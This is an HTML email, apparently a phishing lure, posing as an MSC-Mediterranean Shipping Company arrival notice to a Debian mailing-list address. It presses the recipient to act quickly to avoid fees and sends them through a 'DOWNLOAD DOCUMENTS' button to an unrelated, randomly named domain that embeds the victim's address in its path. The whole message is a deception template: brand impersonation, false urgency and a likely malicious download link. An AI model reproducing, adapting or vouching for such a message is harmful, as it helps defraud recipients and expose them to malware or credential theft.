<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Shipping Documents and Arrival Notice</title>
<style>
.notification-box {
border: 3px solid #000; /* Thick black border */
padding: 20px;
margin: 20px 0; /* Remove auto to align left */
max-width: 600px;
background-color: #eae1cf; /* Updated background color */
border-radius: 5px;
color: #333; /* Text color */
text-align: left; /* Ensure text alignment is left */
}
.notification-box h2 {
margin-top: 0;
font-size: 1.5em;
color: #000; /* Header color */
}
.notification-box p {
margin: 0 0 10px;
}
.notification-box ul {
margin: 0 0 10px;
padding-left: 20px;
}
.notification-box a {
text-decoration: none;
}
.notification-box a:hover {
text-decoration: underline;
}
.logo {
text-align: center;
margin-bottom: 20px;
}
.logo img {
max-width: 150px; /* Adjust size as needed */
height: auto;
}
.download-button {
display: inline-flex;
align-items: center;
padding: 10px 20px;
margin-top: 10px;
background-color: orange; /* Orange background color */
color: #000; /* Black text color */
text-align: center;
text-decoration: none;
border-radius: 5px;
font-weight: bold; /* Make text bold */
border: none;
cursor: pointer; /* Change cursor to pointer for better UX */
}
.download-button:hover {
background-color: darkorange; /* Slightly darker orange on hover */
}
.download-button img {
vertical-align: middle;
margin-right: 8px; /* Space between icon and text */
width: 20px; /* Set appropriate size for the icon */
height: 20px; /* Set appropriate size for the icon */
}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<div style="border: 3px solid #000; /* Thick black border */
padding: 20px;
margin: 20px 0; /* Remove auto to align left */
max-width: 600px;
background-color: #eae1cf; /* Updated background color */
border-radius: 5px;
color: #333; /* Text color */
text-align: left; /* Ensure text alignment is left */" class="notification-box">
<div style="text-align: center;
margin-bottom: 20px" class="logo">
<img style="max-width: 150px; /* Adjust size as needed */
height: auto" alt="Company Logo" src="cid:1.png" width="125" height="118">
</div>
<h2 style="margin-top: 0;
font-size: 1.5em;
color: #000; /* Header color */">Shipping Documents and Arrival Notice</h2>
<p style="margin: 0 0 10px">Dear Consignee <strong>(pkg-exim4-maintainers@lists.alioth.debian.org)</strong>,</p>
<p style="margin: 0 0 10px">We’re delighted to inform you that your shipment is due to arrive at the Port of Discharge shortly. To facilitate a seamless delivery and prevent any unexpected fees, we kindly ask you to review the details below and take action as soon as possible.</p>
<p style="margin: 0 0 10px">Here are the essential details of your consignment, including release conditions and any potential outstanding charges:</p>
<ul style="margin: 0 0 10px;
padding-left: 20px">
<li><strong>Commercial Invoice</strong></li>
<li><strong>Packing List</strong></li>
<li><strong>Bill of Lading</strong></li>
<li><strong>Customs Reference Number or other Customs-related instructions</strong></li>
</ul>
<p style="margin: 0 0 10px"><a style="display: inline-flex;
align-items: center;
padding: 10px 20px;
margin-top: 10px;
background-color: orange; /* Orange background color */
color: #000; /* Black text color */
text-align: center;
text-decoration: none;
border-radius: 5px;
font-weight: bold; /* Make text bold */
border: none;
cursor: pointer; /* Change cursor to pointer for better UX */" class="download-button" href="https://twifcwdyaeqnqua.mlls-fr.com/gaglntnrfhszkfp/epfkcnykifegr/Zuwbooptmsyvbwe89g0xmsc/hbfoiipdnijqib/iduqxrxpmgk/pkg-exim4-maintainers/lvpmtfvadhd/lists.alioth.debian.org/hsqwolygvnyq8" download="">
<img style="vertical-align: middle;
margin-right: 8px; /* Space between icon and text */
width: 20px; /* Set appropriate size for the icon */
height: 20px; /* Set appropriate size for the icon */" alt="PDF Icon" src="cid:2.png" width="22" height="21"> DOWNLOAD DOCUMENTS
</a></p>
<p style="margin: 0 0 10px">If you spot any issues or have questions about the documents, please don’t hesitate to reach out to us right away. Our team is here to provide quick and reliable support for any concerns you might have.</p>
<p style="margin: 0 0 10px">Thank you for your prompt attention to this matter.</p>
<p style="margin: 0 0 10px">
<br>
<strong>MSC-Mediterranean Shipping Company</strong><br>
<br>
</div>
</body></html>